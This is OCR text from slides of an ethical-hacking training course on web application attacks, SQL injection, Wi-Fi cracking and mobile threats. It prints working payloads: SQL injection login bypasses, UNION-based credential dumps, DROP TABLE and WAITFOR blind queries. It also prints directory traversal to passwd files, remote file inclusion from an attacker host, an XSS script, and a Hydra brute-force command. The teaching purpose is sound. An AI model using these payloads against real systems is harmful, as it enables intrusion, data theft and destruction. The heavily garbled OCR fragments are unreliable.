‘ ShOW Attempts ” D{bl'g PU o S SN W R YW Y P P |
Start Stop Save Qutput Clear Qurput
bydra-S v-V d | Administratar -P fhome;  /Desktop/pass £E16192.16. | bydra S v-V d | Administratar -P fhome; « Desktop/pass £16192.16...

———— =T

http://www.thc.org
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Patches and Hotfixes CIEH

Cortifiod § fthowsl Macher

A patch is a small piece of software designed to A patch can be considered as
fix problems, security vulnerabilities, and bugs a repair job to a programming
and improve the usability or performance of a problem

computer program or its supporting data

*

b

“

Hotfixes are an update to fix a Users may be notified Hotfixes are sometimes
specific customer issue and through emails or through packaged as a set of fixes
not always distributed outside the vendor’s website called a combined hotfix
the customer organization or service pack

Copyright © by EG-Geancil. All Rights Reserved. Reproduction is Strictly Prc::LhSiZited.




Web Server Security Scanner: ClEH
Acunetix Web Vulnerability Scanner | ..|.- .-

W Acunetix WVS checks web applications for SQL injections, cross-site scripting, etc.

W Itincludes advanced penetration testing tools to ease manual security audit processes, and
also creates professional security audit and regulatory compliance reports

a Acnetx Webd Vulnerab ity Scanner (Free Edition)
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HackingWeb Applications
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Web Application Security

Statistics

T“i Cross-Ste Scipting

Infarmation Leakage

Cross-Site Request Forgery

{ 16% Brute Force ! |'

1 Predictable Resource Location ‘ J
p» |

SQL Injection

WHITEHAT SECURITY WEBSITE

Session Fixation STATISTICS REPORT, 2012,
hrtps //www,whitehatsec.com

Web Application Vulnerabilities
!
|

Insufficient Session Expiration

T
0 10 20 30 40 50 60
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Introduction to Web Applications

Web applications provide an interface between a
end users and web servers through a set of -
web pages that are generated at the
server end or containscript code to
be executed dynamically within
the client web browser

Though web applications enforce certain
security policies, they are vulnerable
to various attacks such as SQL
injection, cross-site scripting,
session hijacking, etc.

= 3

Web applications and Web 2.0
technologies are invariably used to
support critical business functions
such as CRM, SCM, etc. and improve
business efficiency

New web technologies such as
Web 2.0 provide more attack
surface for web application
exploitation
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Internet

Tech
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Web Application Threats -1 C|EH

- Information Broken Account
l m{vl Leakage Management
101

Cookie Insecure Improper
Poisoning Storage Error Handling

Parameter/Form

Tampering Tampering

Directory Denial of Buffer
Traversal Service (DoS) Overflow
Broken Access Broken Session
Management

Cross Site Security
Scripting (XSS) Request Forgery Misconfiguration
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Web Application Threats -2 | C|EH

(eridimd | bl S

Platform |

Exploits | | . N ?

Insecure Insufficient - Failure to
Direct Object Transport Layer 2 4 I Restrict URL
References Protection _ Access

Insecure , | ( \ ! - _—
e Obfuscation : ' ' ="
"Y:t rg P Application . ' i‘."' g, X
S ‘A—\ D age I‘I S = e
OM2 . ecurity
‘ - Management
Protocol Attacks >

. Exploits

Unvalidated
Redirects and
Forwards

Authentication
Hijacking

Malicious
File Execution

Session
Fixation Attack
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validated before being processed by web
applications and backend servers

e
Input validation flaws refers to a web application |  An attacker exploits input validation flaws to
vulnerability where input from a client is not = perform cross-site scripting, buffer overflow,

i

http://juggyboy.com/login. aspx
?user=jasons@pass=springfield

Browser Post Request

injection attacks, etc. that result in data
theft and system malfunctioning

'| Database

A
: Browser input not

: validated by the web
: application

Attacker

string sql = "select ¥ from Users

where
user ='" + User.Text + "
and pwd='" + Password. Text + "'"p

..lIﬂllnlna-cot.ot.c-uut-loa.lllltauol-}

Modified Query
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C|EH

Cartimgd [ELTTF I L

Parameter/Form Tampering

4 A web parameter tampering attack involves the manipulation of parameters exchanged between

client and server in order to modify application data such as user credentials and permissions, -' .
price, and quantity of products E
@ A parameter tampering attack exploits vulnerabilities in integrity and logic validation mechanisms L

that may resultin XSS, SQL injection, etc.

...... Tampering with the
URL parameters

Other parameters can
http://www.juggybank.com/stat.asp?pg=531&status=view  Resscofrererese \ be changed including

attribute parameters

http://www.juggybank.com/stat.asp?pg=147&status=delete Ee=***

di— . )
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Directory Traversal CEH

Covified | [thoad Shacher

Directory traversal allows attackers to access |
restricted directories including application ': Accessing files located outside the web
source code, configuration, and critical system & ;' publishing directory using directory
files, and execute commands outside of the p ‘

web server's root directory

traversal

- ,

|I _ http://www.juggyboy.com/process

Attackers can manipulate variables that .aspx=../../../.. /some dir/some
file

reference files with “dot-dot-slash (../)" \‘
sequences and its variations ~ http://www.juggyboy.com/../../.
/. ./some dir/some file

_ Wip://www.Juggyboy.com/GET/process php /. J 1. J L0 e ] passwd P G P PP P
i . Altacker et
sending HTTP request

H

$ Stheme = "Jason.php’ i

IIIIIIII l--l'l'-ll'.ll-) I.ll‘l.lﬂ'll'l..“) : lf { 1’ snt‘ 5_‘3?‘11:1'?“-' ] " :

< < . Sthome = § COOKIE( 'THEME'| H

ASROEMIASERRIDEPARARERYY, 2 & "EPEIeSveRSSEsREIEEEFESR E L[)L‘l]_m : :

e tupud'\:.llswlth & ' fhoms fusers fJuggyboy /Jason /" E

password files S Sthems ) ;7> :

'II--..IIII.----'----I-IIII--I-I-IIIII-I.-I-I-.-I-.--l-.-.-I---III--III-‘ .- --------------------------- ....---.-.-.--l
Attacker : root:a98b24ald3e8:0:1:System Operator:/:/bin/ksh -

: daemon:*:1:1:/tmp: ; Vulnerable Server Code

E Jason:a3be98al6M76d57..182:100: Developer./home/users /lason/ /bin/sh E
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Security Misconfiguration

+

. ..
° L
Y i L
* L J
* L
™
]

]
u

Server
Cl !umwmtlm!nt-
Problems

w

*

« -

CEH

Lol s S

Easy Exploitation

Using misconfiguration vulnerabilities, attackers gain
unauthorized accesses to default accounts, read
unused pages, exploit unpatched flaws, and read or
write unprotected files and directories, etc.

Common Prevalence

Security misconfiguration can occur at any level
of an application stack, including the platform,

web server, application server, framework, and

custom code

Example
& The application server admin console is automatically
installed and not removed
# Default accounts are not changed

Attacker discovers the standard admin pages on server,
logs in with default passwords, and takes over
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SQL Injection Attacks CEH

Lot (L

A

& SQL injection attacks use a series of malicious SQL queries to directly
manipulate the database

SQL injection

J An attacker can use a vulnerable web application to bypass normal security
measures and obtain direct access to the valuable data

< SQLinjection attacks can often be executed from the address bar, from
within application fields, and through queries and searches

01 <?php

02 | function save email ($user, $message)

Web ' sasernswssssons sl Internet 03 { B

Browser 04 $sqgl = "INSERT INTO Messages (
' 0s user, message

'? - 06 ) VALUES (
ssssisssessenssanasas i 07 'Suser’', '$m.ssage’
08 )"
09 return mysql_ query($sql);

test') ;DROP TABRLE Messages;--

When this code is sent to the database

server, it drops the Messages table 10 |}
11 2>

Code toinsert spammy data on behalf of other users SQL Injection vulnerable server code

Attacker test'), ('user2', 'I am Jason'), ('user3', 'You are hacked

Note: For complete coverage of SQL Injection concepts and techniques, refer to Module 14; SQL Injection
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C|EH

File Injection Attack

[T e S

™ & |
<?php |
‘ Sdrink = ‘cocke’;
if (isset( $_GET['DRINK'] ) )
Sdrink = $_GET[‘DRINK'];
| require( S$drink . '.php' );
>

<form method="get">
<select name="DRINK">

<option value=“pepsi">pepsi</option>
<option value=“coke''>coke</option>
</select>

<input type="submit">

</form>

ey
=

-

Server File System

Client code running in a browser Vulnerable PHP code

http://www. juggyboy.com/orders .php?DRINK=http://jasoneval.com/exploit? <« Exploit Code

Attacker injects a File injection attacks enable attackers to exploit
N remotely hosted file at | wvulnerable scripts on the server to use a remote file
www.jasoneval.com instead of a presumably trusted file from the local

containing an exploit file system

Attacker
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How XSS Attacks Work CIEH

Cwrd e Pl S

This example uses a
vulnerable page which handles
requests for a nonexistent pages,
a classic 404 error page

http: // jugayboy . com/jason file. html / |
.'.......-.l..."....'.-.......l'-.......-'...: |,:

Normal Request

404 Not found ':'
v
/Jaaon—fll.' h Server code {Handles requests fora
Server Response nonexistent page, a
"""""""""""" e i <html> classic 404 error page)
<body>
<? php | ——
=
print "Not found = |r—
XSS Attack Code urldecode (§_SERVER|
REQUEST URI"])
>
</body>
Server Response
& S PAPANEIRINDORIERNDRNS ias <,'html>
404 Not found 3 < e Server

= —— )

. R B T T -
. —— P as fRESASESESERERESAESTESEARTSARARTETRERFRETARR TR RERS

http://juggyboy.com/<script>alert(“WARNING: The application
__;! has encountered an error”) ;</script>
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Buffer Overflow Attacks

Buffer overflow occurs when an application
writes more data to a block of memory, or
buffer, than the buffer is allocated to hold

User enters
large string

A buffer overflow attack allows an attacker to
modify the target process’s address space in
order to control the process execution, crash
the process, and modify internal variables

4
] Vulnerable Code |

Attackers modify function pointers used by the
application to direct program execution
through a jump or call instruction and points it
to a location in the memory containing
malicious codes

int main(int arge, char *fargv(]) {
char *dest buffer;

dest buffer = (char *) malloc(10):;
if (NULL == dest buffer]

return =-1;

if (arge > 1) {

stropy(dest buffer, arqv([l]);

printf("The first command-line
arqument ias %s.\n", deat buffer]; |

SimsssssssanasssmEamaa else { prin‘l’_f("'No command- line

Application crashes | argument was given.\n"); }
free(deat_buffer);

i return 0; )

Note: For complete coverage of buffer overflow concepts and techniques, refer to Module 18: Buffer Overflow
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SQL Injection

Module 14

Engineered by Hackers. Presented by Professionals.




SQL Injection

© SQL Injection is the ® Itis a flaw in Web ® Most programmers are
most common website Applications and not a still not aware of this
vulnerability on the database or web threat
Internet server issue
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SOL Injection Is the Most
Prevalent Vulnerability in 2012

Unknown 21.5%
DDoS 18.2%
Defacement
Targeted Attack
DNS Hijack

Password Cracking

Account Hijacking

Java Vulnerability

Other

Errp:/?h ac}cmageddo n.com
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(artified § (theal Sk

. SOQL Injection Threats CEH

. - 0 Spoofing Identity
i Changing Price

Tamper with o,

" Database Records™ ...
i o j_.a >
* Modifying Records

7 Escalation of |>

. Privileges

O Voiding Machine's
* ™Critical Transactions

, |

_ ‘-" Complete Disclosure of ",
* Denial-of-Service o % allData on the System .

~  Destruction
on the Server oy

of Data
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® SQL injection is a technique used to take advantage of non-validated
input vulnerabilities to pass SQL commands through a web application
for execution by a backend database

® SQL injection is a basic attack used to either gain unauthorized access to
a database or to retrieve information directly from the database
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hetp://juggyboy.com/?id=6329&print=Y

&2

User Login Form Internet Firewall Web Server

-
.
"
.
M
-
.
.
.
.
°
-
.
-
.
-
-
.
.
®
.
-
-
.
-
.

OS System Calls

Web Application
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snannd

Account Login

Username [ban . j

r -
Password = simpuon | Submit

When a user provides information and clicks
Submit, the browser submits a string to the web
server that contains the user's credentials

<form action="/cgi~-bin/login"
method=post>

This string is visible In the body of the HTTP or Username: <input type-text

HTTPS POST request as:

name=usarname>

Password: <input
type=password name=password>
<input type=submit
value=Login>

SQAL query at the database
select * from Users where
{username = 'bart' and
password = 'simpson') ;

(LARR LA LAY lI'IIII'I...l..\

“ssscvscosnssamansnsnsnnnl
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BadlLogin.aspx.cs
private void cmdLogin Click(object sender,
System.EventArgs e) .

{ string strCnx =

"server=

localhost ;database=northwind;uid=sa;pwd=;";
SglConnection cnx = new SglConnection(strCnx) -

cnx.Open() ;

//This code is susceptible to SQL injection
attacks.

i el string strQry = "SELECT Count(*) FROM
springfield Users WHERE UserName='" + txtUser.Text +
“rwe Famimadt
aaavsac "* AND Password='" + txtPassword.Text +

v

"uikurd

int intRecs;

SqlCommand c¢md = new SqlCommand (strQry., cnx) ;
intRecs = (int) omd.ExecuteScalar();

if (intRacs>0) ({
FormsAuthentication.RedirectFromLoginPage (txtUser
.Taxt, false); |} elsa {

lblMsg.Text = "Login attempt failed."; }
cnx.Close() ;

}

Web Browser

s.lllllll.ll.llllllll‘

Constructed SQL Query «§seseasssne

SELECT Count(*) FROM Users WHERE !

. UserName='Jason' AND Password='Springfield' i .
Server-side Code (BadLogin.aspx)

-Copyright © by EG-Gemncil. All Rights Reserved; Reproduction is Strictly Profiited.



P
. f\ﬁ-., d | http-]humboy.com)‘BadLogm_a_spl

-

[ Bianori-1- |
= Springtield 3

“rws Temwnri®

Qroorransnanans

=essseeanse Attacker Launching SQL Injection

T
A I

. SELECT Count(*) FROM Users WHERE UserName='Blah' or 1=1 ==' AND Password='Springfield’

f SELECT Count(*) FROM Users WHERE UserName='Blah'’ or 1=1§l —-' AND Password='Springfield'
|

SQL Query Executed Code after —— are now comments
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Example 1: Code Analysis CIEH

J A user enters a user name and
password that matches a
record in the user’s table

< A dynamically generated SQL
query is used to retrieve the
number of matching rows

The user is then authenticated
and redirected to the
requested page

(LR TS

l J When the attacker enters blah' or ’

: >
1=1 -- then the SQL query will
look like:
SELECT Count (*) FROM

Users WHERE
UserName='blah' Or 1=1 --
' AND Password='"

Because a pair of hyphens
designate the beginning of a
comment in SQL, the query simply
becomes:

SELECT Count(*) FROM

Users WHERE
UserName='blah' Or 1=1

string strQry = "SELECT Count(¥*)
FROM Users WHERE UserName='" +
txtUser . Text + " AND Password='"
+ txtPassword.Text + "'";

Copyright © by E6-GaunCil. All Rights Reserved. Reproduction is Strictly Prohibited.




This page displays products
from the Northwind

O O http://juggyboy.com/BadProductList.aspx dat?base and a“m_"s u.sers
- - — to filter the resulting list of

products using a textbox
private void cmdFilter Click(object sender, System.EventArgs e) ({ lled Fil
dgrProducts.CurrentPageIndex = 0; called txtFilter
bindDataGrid() ; }

private void bindDataGrid() {
dgrProducts.DataSource = createDataView()
dgrProducts.DataBind() : }

Like the previous
string strCnx = example (Badlogin.aSPX),

private DataView createDataView() {

"server=localhost uid=sa:pwd=.database=northwind:"; z H
string strSQL = "SELECT Productld, ProductName,6 " + thIS COdE IS VUInerable tO

"QuantityPexUnit, UnitPrice FROM Products™; SQL injection attacks

//This code is susceptible to SQL injection attacks.
if (txtFilter.Text.Length > 0) {
StrSQL += " WHERE ProductName LIKE '" + txtFilter.Text »

>

SglConnection cnx = new SqlConnection(strCnx);

SqglDataAdapter sda = new SqlDataAdapter(strSQL, cnx):
DataTable dtProducts = new DataTable() ;

The executed SQL is
constructed dynamically
from a user-supplied
input

sda.Fill (dtProducts) ;
return dtProducts.DefaultView: Attack Occurs Here
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Example 2: Attack Analysis C|EH

Cortthod § Othocal Sachar

JuggvBoyShop.com

-

]

Search for Products '\ __J g‘ <-.-.......

| 4 w=n

oy i)

[Ty pealIM

Mansmn Aty

blah' UNION Select 0, username,
password, 0 from users --

L] )
L

User names and Passwords are !1".lil-lvl‘!|

SQL Query Executed

SELECT ProductlId, ProductName, QuantityPerUnit, UnitPrice FROM Products WHERE
ProductName LIKE 'blah' UNION Select 0, username, password, 0 from users --




Attacker Launching SQL Injection

*sessssssisssasssasasesassncansncnlp

blah': UPDATE jb-customers SET jb-emall

= ‘Iinfolijuggyboy.com' WHERE emalil

='jJasonispringfield.com; =~

v

’
= 'blah': UPDATE
'Jasonispringfield

jb~passwd, jb-1

O3

ogin id, jb-last name FROM members
Jjb-customers SET jb-email = 'infoljuggyboy.com'
com ;

1.4

o g ———————— -
QOO o /mseoron NSNS

JuggyBoy.com

Forgot Password

Email Address L ]

——n

| Your password will be sent to your
registered email address

-

SQL Injection Vulnerable Website

L
i
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Example 4: Adding New Records | C|EH

Lorid s P e

LT Y W oo //unsyboy com Ll )

X

gﬁé JuggyBoy.com

Aol e— . -

Forgot Password

Attacker Launching SQL Injection Email Address ]

Your password will be sent to your

blah'; INSERT INTO jb-customers ('jb-email','jb- registered email address

passwd','jb-login id',6 'jb-last name') VALUES
{*'jasonfispringfield com', 'hello', '4Jason’,'jason
springfield') ; -~

SQL Injection Vulnerable Website
SQL Query Executed

SELECT jb-email, jb-passwd, jb-login_id, jb-last name FROM members
WHERE email = 'blah'; INSERT INTC jb-customers ('jb-email’', 'jb-passwd’',

jb-login_id', *jb-
last _name') VALUES ('jason@springfield.com’,6 'hello’, 6 'jason’,

‘jason springfield'),--"';

Copyright © by E6-GauNCil. All Rights Reserved. Reproduction is Strictly Prohibited.
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Example 5: Identifying the Table
Name

JuggyBoy.com

Forgot Password

Email Address : |

Your password will be sent to your
registered email address

Attacker Launching SQL Injection

blah' AND 1= (SELECT COUNT(*) FROM

mytable) ; --
A

[

‘0‘ You will need to guess table names here SQL Injection Vulnerable Website

SQL Query Executed

SELECT jb-email, jb-passwd, jb-login_id, jb-last _name FROM table WHERE jb-email =
'blah' AND 1=(SELECT COUNT(*) FROM mytable);K --';
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JuggyBoy.com

Forgot Password

——

Attacker Launching SQL Injection Email Address

Your password will be sent to your
registered email address

blah'; DROP TABLE Creditcard; --

v SQL Injection Vulnerable Website

SQL Query Executed

SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FROM members
WHERE jb-email = 'blah'; DROP TABLE Creditcard; --';
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STEP 6: Detailed error messages

provide a wealth of information to
an attacker in order to execute

SQL injection

STEP 5: The UNION
operator is used to
combine the result-set of
two or more SELECT
statements

STEP 4: Try to insert a string
value where a number is
expected in the input field

STEP 1: Check if the web
o application connects to a
Database Server in order to
access some data

STEP 2: List all input fields,
hidden fields, and post
requests whose values
could be used in crafting a

SQL query

STEP 3: Attempt to inject
codes into the input fields to
generate an error
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Attempt to inject codes into the
input fields to generate an error

asingle quote ('), a semicolon
(;) , comments (--), AND, and OR

b=l ——
Wy

Attacker

l""-.------nuunuuuuu)

Try to insert a string value
where a number is expected
in the input field

| Note: If applications do not provide detailed error messages and return a simple 'S00 Server Error' or a custom error page

then attempt blind injection techniques

P

Microsoft OLE DB Provider for ODBC Drivers
error '80040el4'

[Microsoft] [ODBC SQL Server Driver] [SQL
Server]Unclosed quotation mark before the
character string ''.

/shopping/buy.aspx, line 52

Microsoft OLE DB Provider for ODBC Drivers
error '80040e07' [Microsoft] [ODBC SQL
Sarver Driver] [SQL Server]Syntax error
converting the varchar value 'test' to a
column of data type int. /visa/credit.aspx,
line 17
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Types of SQL Injection

UNION SQL
’ Injection
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Union Query

"UNION SELECT” statement returns
the union of the intended dataset
with the target dataset
SELECT Name, Phone, Address
FROM Users WHERE Id=1 UNION
ALL SELECT
ecradicCardNumbear ;1,1 FROM
CraditCardTable

Tautology

Injecting statements that are
always true so that queries always
return results upon evaluation of a

WHERE condition

SELECT * FROM users WHERE name
= ''" OR s1\=|1|;

System Stored Procedure

Attackers exploit databases' stored
procedures to perpetrate their attacks

End of Line Comment

After injecting code into a

particular field, legitimate

code that follows is nullified

through usage of end of line
comments

SELECT * FROM user WHERE name
'x' AND userid IS NULL; --'

Illegal/Logically Incorrect Query

An attacker may gain knowledge by
injecting illegal/logically incorrect
requests such as injectable parameters,
data types, names of tables, etc.
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Union SQL Injection Example

Union SQL Injection - Extract
Database Name

http://juggyboy.com/page.aspx?id=1
UNION SELECT ALL 1,DB_NAME, k3 4--

[DB_NAME] Returned from the server

Union SQL Injection - Extract Table
Column Names

http://juggyboy.com/page. aspx?id=1l
UNION SELECT ALL 1,column name,3,4 from
DB_NAME. information schema.columns

where table_name ='EMPLOYEE_TABLE'--
[EMPLOYEE_NAME]

Union SQL Injection - Extract V
Database Tables

http://Jjuggybey.com/page.aspx?id=1
UNION SELECT ALL 1,name,3,4 from
sysobjects where xtype=char (85) --

[EMPLOYEE_TABLE] Returned from the server

N

Union SQL Injection - Extract 1st

Field Data
http://juggyboy.com/page.aspx?id=1
UNION SELECT ALL 1,COLUMN-NAME-
1,3,4 from EMPLOYEE NAME --

[FIELD 1 VALUE] Returned from the server

Copyright © by E&-EeumBCil. All Rights Reserved. Reproduction is Strictly Prohilited.




SQL Injection Exror Based | C[EH

Cartithmd § Othocal haw b

Extract Database Name Extract 1st Database Table
» http://juggyboy.com/page.aspx?id= # http://juggyboy.com/page.aspx?id=1 |
1l or 1=convert(int,(DB_SAME))— or l=convert(int, (select top 1 name

from sysobjects where

® Syntax error converting the nvarchar value '[DB xtype=char (85)))-

NAME]' to a column of data type int.
& Syntax error converting the nvarchar value

" '[TABLE NAME 1]' to a column of data type int. |
| A
. : N
e =}

Extract 1st Table Column Name Extract 1st Field of 1st Row (Data) "
® http://juggyboy.com/page. aspx?id=l or ® http://juggyboy.com/page. aspx?id=l |

l=convert(int, (select top 1 or l=convert(int, (select top 1 |

column_name from COLUMN-NAME-1 from TABLE-NAME-1))-

DBNAME . information_schema.columns . )

where table name='TABLE-NAME-1'))— | ® Syntax error converting the nvarchar value

| ‘[FIELD 1 VALUE]' to a column of data type int.
© Syntax error converting the nvarchar value

| '[COLUMN NAME 1]' to a column of data s = “]
type int.
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Blind SQL Injection: WAITFOR ClEH
DELAY YES or NO Response g s

; IF EXTSTS (SELECT * FROM creditcard)

, A\, WAITFOR DELAY '0:0:10'-- Check 00 S l
if database NO 0 p _
' t l....'....'l.....‘...) ”l_|P_'{I.1itl .I’I,"" I.'......l)
st
' ——— e’"::“" We are unable to process
' your request, Please try

back later.
Since no error messages are returned,
use ‘waitfor delay' command to
check the SQL execution status

YES

.
"
-
-
-
-
-
.
-

WAIT FOR DELAY 'time’ (Seconds)
This is just like sleep, wait for specified time.

CPU-safe way to make database wait s 0 O p S l
WAITFOR DELAY ‘'0:0:10'~~ * Sleep 0

— = for 10
BENCHMARK() (Minutes) . seconds We are unable to process
This command runs on MySQL server. E‘"""""""“"§ your request. Please try

BENCHMAREK (howvmanytimes, do
this)

back later.
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CEH

(artifind § fthmal Sk

Using this SQL injection tool, an attacker can perform back-end database fingerprint, retrieve DBMS users
and password hashes, dump tables and columns, fetch data from the database, run SQL statements and
even access the underlying file system and executing commands on the operating system

-

P lergat. comdinoex a0 Y d= 133
PRV

——

MEVY - AZVENCHO SUL NCDON 100}

Al

- Cohern Cowrd |
’ L
ap—tughd & == ] 1 dPgeont pyeiamey 1 L1 0H meutors Vi it (o |
A
Yonrssen Ve Agen Lol Cosbl Al e Dolad 1ot e
M.-._;,,.., Maria/ 0 frooshe NSE | 0 Wivkse o Do rol e cotamn count i WSO sl wies

Faliow rechcbom

50w Feguaen

http://www.itsecteam.com
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How to Defend Against SQL
Injection Attacks

Run database servicey

4

account with minimal rights

Disable commands like
xp_cmdshell

Suppress all error
_ messages

o
s
.
('o SEamasmanr 8
.
%
s,
.'.
.
s
:
[}

W I connect to the Database J
{ Error message revealing b

d
H
‘ SNEABERARR. |
A

clen

Why Web
Applications are
Vulnerable to SQL
Injection Attacks?
Monitor OB traffic using
Database server runs OS _
commands Use low privileged

account for DB connection

Using privileged accountto . . i
!

important information »

Filter All Client Data

-
:
No Data valldation at the
:oo.ooo-"
Server /
X
s L L L e e e e L
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How to Defend Against SOQL
i clEn

Injection Attacks (Conrq) ok |l

Make no assumptions about the size, type, or content of the
data that is received by your application

Test the size and data type of input and enforce appropriate
limits to prevent buffer overruns

Test the content of string variables and accept only expected
values

Reject entries that contain binary data, escape sequences, and
comment characters

Never build Transact-SQL statements directly from user input and Validated
use stored procedures to validate user input : Input

v
- —

Implement multiple layers of validation and never concatenate U] m Bad Input
user input that is not validated

Copyright © by E6-GaunCil. All Rights Reserved. Reproduction is Strictly Prohibited.
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Hacking Wireless Networks

Module 15

Engineered by Hackers. Presented by Professionals.




C|EH

(uridind § Evhwal Bachen

Wi-Fi refers to wireless local area networks (WLAN) based on IEEE 802.11 standard

It is a widely used technology for wireless communication across a radio channel

Devices such as a personal computer, video-game console, smartphone, etc. use Wi-Fi to
connect to a network resource such as the Internet via a wireless network access point

Installation is fast and easy and eliminates
wiring through walls and ceilings

It is easier to provide connectivity in areas
where it is difficult to lay cable

Access to the network can be from
anywhere within range of an access point

Public places like airports, libraries, schools
or even coffee shops offer you constant
Internet connections using Wireless LAN

Advantages

@

Security is a big issue and may not meet
expectations

As the number of computers on the network
increases, the bandwidth suffers

WiFi enhancements can require new wireless
cards and/or access points

Some electronic equipment can interfere with
the Wi-Fi networks




Extension to a Wired Network

LAN | ] LAN 2
Y )
- ERE 0_ | "!U

3 :
: §

Eroadband 3 f " Bresdband
AAMA N
lm’———'"P ' i Router

| : "
oF g - -9 |

e |BE !

LAN-to-LAN Wireless Network

Multiple Access Points

C\

~
- .

CEH

Cartifimd § Bthieal Bavsm

3G/4G Hotspot




Wireless Standards CIEH

(erifigd | Gibnad Mo

Standard

[ e ]

802.11a OFDM 25=175
802.11b 24 DSSS 11 150 - 150
802.11g 2.4 OFDM, DSSS 54 150-150

802.11i Defines WPA2-Enterprise/WPA2-Personal for Wi-Fi

802.11n 24,5 OFDM 54 ~100

802.16
10 - 20 -1 :
(WiMAX) 0-66 0-1000 30 miles

Bluetooth 2.4 1-3 25




Service Set Identifier (SSID)

SSID is a token to identify a 802.11 (Wi-
Fi) network: by default it is the part of It acts as a single shared identifier between
the access points and clients

the frame header sent over a wireless
local area network (WLAN)

Access points continuously
broadcasts SSID. if enabled, for the
client machines to identify the
presence of wireless network

The SSID remains secret only on
the closed networks with no
activity, that is inconvenient to
the legitimate users

SSID is a3 human-readable text
string with a maximum length of
32 bytes

Securitv concerns arise when the
default values are not changed, as
these units can be compromised

A non-secure access mode allows If the SSID of the network is changed,
clients to connect to the access point reconfiguration of the SSID on every host is
using the configured SSID, a blank required, as every user of the network
SSID, or an SSID configured as “any” configures the SSID into their system
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WEP vs. WPA vs. WPA2

Encryption Attributes

| Encryption IV Size Encryption Key Integrity Check |
Algorithm Length Mechanism

24-bits 40/104-bit CRC-32

Michael algorithm

RC4, TKIP 48-bit 128-bit and CRC-32

AES-CCMP 48-bit 128-bit CBC-MAC

—_
WEP Should be replaced with more secure WPA and WPA2

- E : ro Incorporates protection against forgery and replay attacks




w— ‘ Attackers Scanning for Wi-Fi
- | Networks
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1. The first task an attacker will go through when searching for Wi-Fi

targets is checking the potential networks that are in range to
find the best one to attack

2. Drive around with Wi-Fi enabled laptop installed with a wireless
discovery tool and map out active wireless networks

You will need these
to discover Wi-Fi networks

External Wi- Network
Fl Antenna Discovery

Programs

3

R
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. Wi-Fi Discovery Tool: NetStumbler C|EH

Facilitates detection of Wireless LANs using the 802.11b, 802.11a and 802.11g
WLAN standards

5V

P
- 1. Wardriving
&
)

2. Verifying network
configurations

o X -.—901-1'.‘-‘-&-;)_0 -

b' 3. Finding locations with poor
.'ﬁ coverage in one’s WLAN

{I:] 4. Detecting causes of wireless
:‘ interference

5. Detecting rogue access
points

i
! 6. Aiming directional antennas
'. for long-haul WLAN links

m‘_,-——- il i

.EEH i T e e T hnp//w;v_w_n;tsrumbfermm [
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l Wireless Traffic Analysis

Identify Vulnerabilities ) Wi-Fi Reconnaissance
- B 7

. Wireless traffic analysis enables Attackers analyze a wireless network
attackers to identify vulnerabilities to determine:

and susceptible victims in a target

i = Broadcasted SSID
wireless network

= Presence of multiple access
points

. This helps in determining the
appropriate strategy for a

successful attack = Possibility of recovering SSIDs

. Wi-Fi protocols are unique at
Layer 2, and traffic over the air
is not serialized which makes
easy to sniff and analyze
wireless packets

= Authentication method used

= WLAN encryption algorithms

Wireshark/Pilot Tool CommView Tool

OO

OmniPeek Tool Wi-Fi packet-capture and analysis AirMagnet Wi-Fi Analyzer
products come in a number of forms
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l Aircrack-ng Suite

Aircrack-ng is a network software suite consisting of a detector, packet sniffer, WEP and WPA/WPA2-PSK
cracker and analysis tool for 802.11 wireless networks. This program runs under Linux and Windows. Q

http://www.aircrack-ng.org

Airdecloak-ng / Airdriver-ng Airdrop-ng

Airbase-ng Aircrack-ng Airdecap-ng
- -

tures : -
s Defacto WEP and Dacrypt Wep/ WA/ Removes WEP Provides status bt i
WPASWPA2 WPA/ WPA2-PSK WPA2 and can be used for targeted,

cloaking from a information aboul

handshake and can cracking tool used to strip the file e i rule-based
1 a5 a0 ad-hoc wireless headers ey . o Sl ®  deauthentication
Access Point \ v ¥ of users

from Wi-Fi packets

' o
Aireplay-ng Airgraph-ng

Airodump-ng Airolib-ng
U::'\‘:trk:;a::. Creales .:Iient'lo Used to capture | Store and manage
g ’ AP relationship packets of raw essid and password
authentiation, packet and common . ;
replay, and ARP 802.11 frames and lists used in WPA/
Fecniashinjoction probe graph from collect WEP IVs WPA2 cracking
airodump file
"
. . - -
Airmon-ng Airtun-ng Easside-ng Packetforge-ng Tkiptun-ng

U’e‘! to enable *® Injects framesinto a Allaws you to tsced tocreate Creates a virtual Incorporates a
menar mode on WPA TKIP network with communicatevia a eotednalers { tunnel interface to number of

wireless interfaces QoS, and can recover WEP-encrypted access th :’ e pb i manitor encrypted techniquesto

from managed ® MiCkeyandkeystream | _oine (AP} without atcan subsequently &8 - ¢ra¢fic and Inject seanilessly obtaina
mode and vice versa from WI-Fi traffic knowing the WEP key be used for injection arbitrary traffic into a

network

Airserv-ng

Allows multiple
programsto indepen-
dently use a Wi-Fi
card via aclient-server
TCP connection

Wesside-ng

. WEP key in minutes
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Attacker sniffs the victim's wireless
parameters (the MAC address, ESSID/BSSID,

number of channels)

Lr-—l{ >‘aJ

Attacker sets a lorged AP on a new channel
with the original MAC address (BSSID) and
ESSID of the victim's AP

Victim Connects’s,
to Forged AP

the spoofed source address of the victims |

e @ f

0
f4fl’

{V Sends 2 DEALUTH regued 10 the victim with
|
|

After the victim's successful association to
the forged AP, the attacker spoofs victim
to connect to the original AP

Victim is deauthenticated and starts to
search all channels for a new valid AP

Deauthenticated
Q 4'-!..‘ -t">

Attacker sits in between the access point
and the victim and listens all the traffic
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Hacking Mobile Platforms
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Mobile Threat Report Q2 2012 (|EH

L N

Android Mobile Threat
Mobile Threat Symbian by Type Q2 2012

Report Q2 2012 Pocket PC
12ME l I I I

a4 Q1 Trojan Monitoring Riskware Application Adware
2011 2011 2012 2012 Tool

http://www.f-secure.com http.//www.hotforsecurity.com
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Security Issues Arising from

C/EH

(TR T sl S

App Stores

J Attackers can also social engineer users q
to download and run apps outside the
official app stores

d Insufficient or no vetting of apps leads to
malicious and fake apps entering app
marketplace

J Malicious apps can damage other application
and data, and send your sensitive data to
attackers

J App stores are common target for attackers
to distribute malware and malicious apps

—JIIIINII32IT

Official e,

AppStore ® U @ §m
-n> . HE @ .e I LTTTY
AR
ey

CRASETIAm TS N

Third Party
: App Store
Mobile App No Vetting Sssssndl

Attacker

Mallcmus app sends sensntwe data to attacker

TP AP ISR PR RO RO R RO PERERERSROR D feeebispEPrBFORRERPOSERRRORRS (AR R AR R R R AR R R R R TR RRRERD] 4

Call Iogs/photo/wdeoslse nsitive docs
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Android Rooting

